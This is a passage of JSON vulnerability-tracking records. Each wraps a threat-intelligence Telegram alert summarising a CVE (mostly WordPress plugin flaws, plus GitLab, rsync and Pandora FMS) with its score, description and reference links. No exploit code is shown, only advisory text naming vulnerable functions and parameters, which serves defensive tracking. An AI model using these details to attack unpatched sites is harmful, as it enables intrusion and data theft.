"CVE-2024-12576", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6824", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12576\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger a crash of the FW running on the GPU freezing graphics output.\n\ud83d\udccf Published: 2025-03-07T07:36:21.228Z\n\ud83d\udccf Modified: 2025-03-07T07:36:21.228Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-03-07T08:35:13.000000Z"}, {"uuid": "825ba723-0190-4fc2-b21d-84abf29b5f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6827", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12634\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Related Posts, Inline Related Posts, Contextual Related Posts, Related Content By PickPlugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including 2.0.59. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-03-07T11:12:54.726Z\n\ud83d\udccf Modified: 2025-03-07T11:12:54.726Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/29d22612-8e0d-4275-b370-9729352c951e?source=cve\n2. https://plugins.trac.wordpress.org/browser/related-post/tags/2.0.58b/includes/menu/settings.php#L129\n3. https://wordpress.org/plugins/related-post/#developers\n4. https://plugins.trac.wordpress.org/changeset/3251482/", "creation_timestamp": "2025-03-07T11:34:46.000000Z"}, {"uuid": "ceb30ea3-d3bf-481e-841a-cb9a36d9b6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6808", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12876\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Golo - City Travel Guide WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.10. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-07T08:21:28.125Z\n\ud83d\udccf Modified: 2025-03-07T08:21:28.125Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e6cb81e5-61a4-4b67-a668-d8a7d46b2cea?source=cve\n2. https://themeforest.net/item/golo-directory-listing-travel-wordpress-theme/25397810", "creation_timestamp": "2025-03-07T08:34:51.000000Z"}, {"uuid": "e02e07aa-41ab-4369-9d72-5f43b90a21c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12975", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6870", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12975\n\ud83d\udd25 CVSS Score: 1 (cvssV4_0, Vector: CVSS:4.0/AV:P/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A buffer overread can occur in the CPC application when operating in full duplex SPI upon receiving an invalid packet over the SPI interface.\n\ud83d\udccf Published: 2025-03-07T16:41:10.424Z\n\ud83d\udccf Modified: 2025-03-07T17:22:04.602Z\n\ud83d\udd17 References:\n1. https://community.silabs.com/069Vm00000LWXMeIAP\n2. https://github.com/SiliconLabs/simplicity_sdk/releases", "creation_timestamp": "2025-03-07T17:35:22.000000Z"}, {"uuid": "ba0b65e7-5c56-4ec6-bc34-68d16991ef3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12036", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6816", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12036\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The CS Framework plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 6.9 via the get_widget_settings_json() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-03-07T08:21:25.162Z\n\ud83d\udccf Modified: 2025-03-07T08:21:25.162Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5ed1978e-1dd7-45d3-829a-1a75c1789827?source=cve\n2. https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636", "creation_timestamp": "2025-03-07T08:35:00.000000Z"}, {"uuid": "b28a4c72-cb11-4c98-94c8-721b315f7c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6813", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12610\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'mj_smgt_remove_feetype' and 'mj_smgt_remove_category_new' AJAX actions in all versions up to, and including, 93.0.0. This makes it possible for unauthenticated attackers to delete arbitrary posts.\n\ud83d\udccf Published: 2025-03-07T08:21:26.362Z\n\ud83d\udccf Modified: 2025-03-07T08:21:26.362Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9c3a7ca0-9325-4b50-a844-8eeb4047de1a?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:34:58.000000Z"}, {"uuid": "a2ec41ec-cfd8-4aa6-b7dc-50f41d14d84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12609", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6812", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12609\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to SQL Injection via the 'view-attendance' page in all versions up to, and including, 92.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the mj_smgt_view_student_attendance() function.  This makes it possible for authenticated attackers, with Student-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-07T08:21:26.705Z\n\ud83d\udccf Modified: 2025-03-07T08:21:26.705Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a8790df5-7228-4854-870c-1e6d3d0cfbaa?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:34:57.000000Z"}, {"uuid": "28f5bf45-43af-4f36-bc9c-917174c01585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12607", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6820", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12607\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter of the 'mj_smgt_show_event_task' AJAX action in all versions up to, and including, 92.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-07T08:21:20.862Z\n\ud83d\udccf Modified: 2025-03-07T08:21:20.862Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/175fe7f4-ac92-4c52-9889-47635c21cd9b?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:35:07.000000Z"}, {"uuid": "fc2be48d-1f2c-4f05-bc6a-a0047c1ca396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12035", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6819", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12035\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The CS Framework plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the cs_widget_file_delete() function in all versions up to, and including, 6.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).\n\ud83d\udccf Published: 2025-03-07T08:21:21.608Z\n\ud83d\udccf Modified: 2025-03-07T08:21:21.608Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/31093664-c45e-4e87-b72f-5cdf8e8e9f67?source=cve\n2. https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636", "creation_timestamp": "2025-03-07T08:35:06.000000Z"}, {"uuid": "fcddc9ec-f56f-48e3-8df7-793d8adfb4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12611", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6818", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12611\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The School Management System for Wordpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 93.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-03-07T08:21:24.356Z\n\ud83d\udccf Modified: 2025-03-07T08:21:24.356Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/45ada7a4-466b-4e73-8869-e1178e4fc67a?source=cve\n2. https://codecanyon.net/item/school-management-system-for-wordpress/11470032", "creation_timestamp": "2025-03-07T08:35:05.000000Z"}, {"uuid": "3fc93c83-9c44-4ee1-8126-6fd02768fc28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12460", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6916", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12460\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Years Since \u2013 Timeless Texts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'years-since' shortcode in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-08T02:24:02.760Z\n\ud83d\udccf Modified: 2025-03-08T02:24:02.760Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2f1cb71a-aabb-4ba1-93b4-24070aaa582b?source=cve\n2. https://plugins.trac.wordpress.org/browser/years-since/trunk/alar-years-since.php#L132\n3. https://wordpress.org/plugins/years-since", "creation_timestamp": "2025-03-08T02:35:29.000000Z"}, {"uuid": "922ca932-93ed-4a4b-ad4b-f620931f155c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12119", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6926", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12119\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the default_gallery_title_size parameter in all versions up to, and including, 2.4.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with granted gallery and album creator roles, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-08T05:30:08.997Z\n\ud83d\udccf Modified: 2025-03-08T05:30:08.997Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2070c6e6-d830-4d1c-9408-5cb2254a00e5?source=cve\n2. https://github.com/fooplugins/foogallery/blob/master/extensions/albums/album-default.php#L26\n3. https://plugins.trac.wordpress.org/browser/foogallery/tags/2.4.27/extensions/albums/album-default.php#L26", "creation_timestamp": "2025-03-08T06:35:48.000000Z"}, {"uuid": "92b6bbe9-4be6-4237-86db-e0b40f75d201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12114", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6925", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12114\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The FooGallery \u2013 Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.29 via the foogallery_attachment_modal_save AJAX action due to missing validation on a user controlled key (img_id). This makes it possible for authenticated attackers, with granted access and above, to update arbitrary post and page content. This requires the Gallery Creator Role setting to be a value lower than 'Editor' for there to be any real impact.\n\ud83d\udccf Published: 2025-03-08T05:30:09.469Z\n\ud83d\udccf Modified: 2025-03-08T05:30:09.469Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f4fe3ad9-247f-4e5d-8c79-0970afaa7729?source=cve\n2. https://github.com/fooplugins/foogallery/blob/master/includes/admin/class-gallery-attachment-modal.php#L242\n3. https://plugins.trac.wordpress.org/changeset/3250684/foogallery/tags/2.4.30/includes/admin/class-gallery-attachment-modal.php?old=3229839&old_path=foogallery%2Ftags%2F2.4.29%2Fincludes%2Fadmin%2Fclass-gallery-attachment-modal.php", "creation_timestamp": "2025-03-08T06:35:47.000000Z"}, {"uuid": "fb7417a5-eb4e-4e30-bd45-c77b394e6f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6996", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12604\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: Cleartext Storage of Sensitive Information in an Environment Variable, Weak Password Recovery Mechanism for Forgotten Password vulnerability in Tapandsign Technologies Tap&Sign App allows Password Recovery Exploitation, Functionality Misuse.This issue affects Tap&Sign App: before V.1.025.\n\ud83d\udccf Published: 2025-03-10T14:28:12.230Z\n\ud83d\udccf Modified: 2025-03-10T14:28:12.230Z\n\ud83d\udd17 References:\n1. https://docs.tapandsign.com/tap-and-sign/tap-and-sign-v.1.025-surum-notlari\n2. https://www.usom.gov.tr/bildirim/tr-25-0063", "creation_timestamp": "2025-03-10T14:38:39.000000Z"}, {"uuid": "b16ca01f-5aa2-4fc1-a1f8-773d71edef0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14537", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12397\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with\ncertain value-delimiting characters in incoming requests. This issue could\nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie\nvalues or spoof arbitrary additional cookie values, leading to unauthorized\ndata access or modification. The main threat from this flaw impacts data\nconfidentiality and integrity.\n\ud83d\udccf Published: 2024-12-12T09:05:28.451Z\n\ud83d\udccf Modified: 2025-05-02T16:29:42.017Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0900\n2. https://access.redhat.com/errata/RHSA-2025:1082\n3. https://access.redhat.com/errata/RHSA-2025:3018\n4. https://access.redhat.com/security/cve/CVE-2024-12397\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2331298", "creation_timestamp": "2025-05-02T17:16:41.000000Z"}, {"uuid": "48bedb56-6012-4aa2-ba0f-81680a10b70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8035", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12137\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: through 19.03.2025.\n\n\nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-03-19T08:32:38.226Z\n\ud83d\udccf Modified: 2025-03-19T08:32:38.226Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-03-19T08:49:00.000000Z"}, {"uuid": "9e90d621-a07f-49d9-9e60-fbafe88ba97d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12380", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7553", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12380\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: An issue was discovered in GitLab EE/CE affecting all versions starting from 11.5 before 17.7.7, all versions starting from 17.8 before 17.8.5, all versions starting from 17.9 before 17.9.2. Certain user inputs in repository mirroring settings could potentially expose sensitive authentication information.\n\ud83d\udccf Published: 2025-03-13T05:56:14.642Z\n\ud83d\udccf Modified: 2025-03-14T14:35:18.525Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/508557\n2. https://hackerone.com/reports/2868951", "creation_timestamp": "2025-03-14T14:45:08.000000Z"}, {"uuid": "65108394-8d36-4095-83e7-9a884ac6afe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7648", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd25 CVSS Score: 5.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-03-15T00:15:23.593Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/security/cve/CVE-2024-12747\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2332968\n4. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-03-15T00:45:40.000000Z"}, {"uuid": "b369db8a-70ef-419c-8392-2973e066f3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12401", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7675", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12401\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster.\n\ud83d\udccf Published: 2024-12-12T09:06:03.612Z\n\ud83d\udccf Modified: 2025-03-15T05:58:20.676Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12401\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2327929\n3. https://github.com/cert-manager/cert-manager/pull/7400\n4. https://github.com/cert-manager/cert-manager/pull/7401\n5. https://github.com/cert-manager/cert-manager/pull/7402\n6. https://github.com/cert-manager/cert-manager/pull/7403\n7. https://github.com/cert-manager/cert-manager/security/advisories/GHSA-r4pg-vg54-wxx4\n8. https://go.dev/issue/50116", "creation_timestamp": "2025-03-15T06:46:43.000000Z"}, {"uuid": "3c5820c3-b164-45fc-bfe7-0a7695590a63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12336\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'export_all_data' function in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive affiliate data, including personally identifiable information (PII).\n\ud83d\udccf Published: 2025-03-15T03:23:24.688Z\n\ud83d\udccf Modified: 2025-03-15T03:23:24.688Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cf0fb349-4cb8-4cf3-ae7c-5c4dcc6fd4f7?source=cve\n2. https://plugins.trac.wordpress.org/browser/wc-affiliate/trunk/src/AJAX.php#L903", "creation_timestamp": "2025-03-15T03:48:59.000000Z"}, {"uuid": "71ae5b06-de42-4fe7-bf5f-61bf91f88444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7749", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12971\n\ud83d\udd25 CVSS Score: 8.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/S:N/AU:Y/R:U/V:C/RE:L/U:Green)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6\n\ud83d\udccf Published: 2025-03-17T09:19:31.761Z\n\ud83d\udccf Modified: 2025-03-17T09:19:31.761Z\n\ud83d\udd17 References:\n1. https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "creation_timestamp": "2025-03-17T09:46:57.000000Z"}, {"uuid": "b80e5651-83dd-41a7-8962-565772e61207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7748", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12992\n\ud83d\udd25 CVSS Score: 8.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/S:N/AU:Y/R:U/V:C/RE:M/U:Amber)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection via RCE. \n\nThis issue affects Pandora FMS from 700 to 777.6\n\n.\n\ud83d\udccf Published: 2025-03-17T09:21:39.002Z\n\ud83d\udccf Modified: 2025-03-17T09:21:39.002Z\n\ud83d\udd17 References:\n1. https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "creation_timestamp": "2025-03-17T09:46:57.000000Z"}, {"uuid": "3fbe7ee2-9843-4dc7-be44-d7d17d1a3a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12019", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12019\n\ud83d\udd25 CVSS Score: 7.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: The API used to interact with documents in the application contains a flaw that allows an authenticated attacker to read the contents of files on the underlying operating system. An account with \u2018read\u2019 and \u2018download\u2019 privileges on at least one existing document in the application is required to exploit the vulnerability.\u00a0Exploitation of this vulnerability would allow an attacker to read the contents of any file available within the privileges of the system user running the application.\n\ud83d\udccf Published: 